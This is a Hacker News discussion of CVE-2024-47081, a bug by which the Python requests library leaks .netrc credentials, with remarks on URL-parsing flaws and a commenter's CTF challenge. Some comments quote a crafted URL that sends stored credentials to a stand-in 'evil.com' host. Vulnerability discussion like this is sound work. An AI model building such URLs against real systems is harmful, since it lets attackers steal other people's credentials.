CVE-2024-47081: Netrc credential leak in PSF requests library
62 points
10 months ago
| 9 comments
| seclists.org
| HN
janzer
10 months ago
[-]
Given that the actual vulnerability seems relatively niche along with it being such a popular library officially maintained by the Python foundation, the scariest line in the advisory is almost certainly:

The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.

reply
Daviey
10 months ago
[-]
Well, it's probably just a coincidence, but I literally just spun up a web service that is vulnerable to this: https://isitup.daviey.com/

The code doesn't make any reference to a .netrc, but I happen to have one in ~/.netrc:

  machine localhost
  login *REDACTED*
  password CTF{*REDACTED*}
It's not ideal that requests automatically slurps credentials from ~/.netrc and leaks them, even when my code never references it. It's possible that the netrc is on the same server from a different application, developer debugging environment, or just forgotten about etc.

First one to grab the flag wins, well, nothing. But have fun. I'll keep it online for a couple of weeks, or until the VC money runs out.

reply
dgl
10 months ago
[-]

  Sorry, you have been blocked
  You are unable to access daviey.com
Looks like Cloudflare has decided the whole thing is dodgy. Or doesn't like my IP address...
reply
Daviey
10 months ago
[-]
That's really strange... because it seems to be working for some people (already have the first solve). I can't see an issues in CF...

EDIT: I had the security in CF too robust, try now?

reply
progbits
10 months ago
[-]
Edit: Comment removed on request of parent.
reply
Daviey
10 months ago
[-]
Well done for solving it.. but I'd have preferred you had not shared the solution, it's against the spirit of these sorts of things, but I can't stop you. :)

EDIT: I do appreciate you removing the solution. Have a great day.

reply
woodruffw
10 months ago
[-]
Another good example of lax URL parsing/parser differentials being problematic.

That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.

reply
w7
10 months ago
[-]
I think it may be in use by tools without people being aware. I decided to check my workstation for it just in case, figuring the file would be empty, or not exist.

Instead it seems to be populated with what seem to be Heroku API and git credentials.

reply
edelbitter
10 months ago
[-]
Well then go check if you are for some reason using any of the other surprise features [1], like honoring the CURL_CA_BUNDLE env variable, or not honoring the PROXIES env variable if REQUEST_METHOD is set.

1: https://requests.readthedocs.io/en/latest/api/#requests.Sess...

reply
cozzyd
10 months ago
[-]
I have it on my laptop because it's the most convenient way to download datasets from various repositories (e.g. NASA Earth Data).
reply
awoimbee
10 months ago
[-]
That's some horrible url parsing code...

But honestly urllib sucks:

url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"

reply
edelbitter
10 months ago
[-]
Wait till you see the cPython stdlib email parser..

Any programming language these days should ship a decent rfc5234 API in the standard library, so you do not get these kinds of problems in slightly different fashion for each and every library/program.

reply
audiodude
10 months ago
[-]
If you, like me, have never heard of a .netrc file...

https://everything.curl.dev/usingcurl/netrc.html

reply
neilv
10 months ago
[-]
There might be a funny thing with FTP, in which, if a company is using FTP, it's probably for something important.

(Even if it's a bad idea now, and compromise of it could result in a bad quarter or regulatory action, legacy systems and priorities happen.)

reply
pixl97
10 months ago
[-]
Execute the call

>requests.get('http://example.com:@evil.com/')

>Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call

Instead of having a url parse error it appears to drop the : and use the password:domain format.

reply
zx8080
10 months ago
[-]
A funny commit message in the root cause (as stated in the linked post) commit:

> Push code review advice from @sigmavirus24

reply
sionisrecur
10 months ago
[-]
To be fair, the advice from sigmavirus24 was about dealing with decoding the ':' character: https://github.com/psf/requests/pull/2936/files

The code already had `host = ri.netloc.split(':')[0]` before that.

The actual root issue is urlparse doesn't split the host, user, pass and port and trying to do it manually is very error prone:

    urllib.parse.urlparse('http://example.com:@evil.com:8080/')
    ParseResult(scheme='http', netloc='example.com:@evil.com:8080', path='/', params='', query='', fragment='')
Compare this with php:

    parse_url ('http://example.com:@evil.com:8080/')
    [
        "scheme" => "http",
        "host" => "evil.com",
        "port" => 8080,
        "user" => "example.com",
        "pass" => "",
        "path" => "/",
    ]
reply
kidmin
10 months ago
[-]
reply
dfedbeef
10 months ago
[-]
I feel this
reply
Daviey
10 months ago
[-]
Patch has now been merged, seems the Full Disclosure process works, https://github.com/psf/requests/pull/6965
reply
dcrazy
10 months ago
[-]
> The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
reply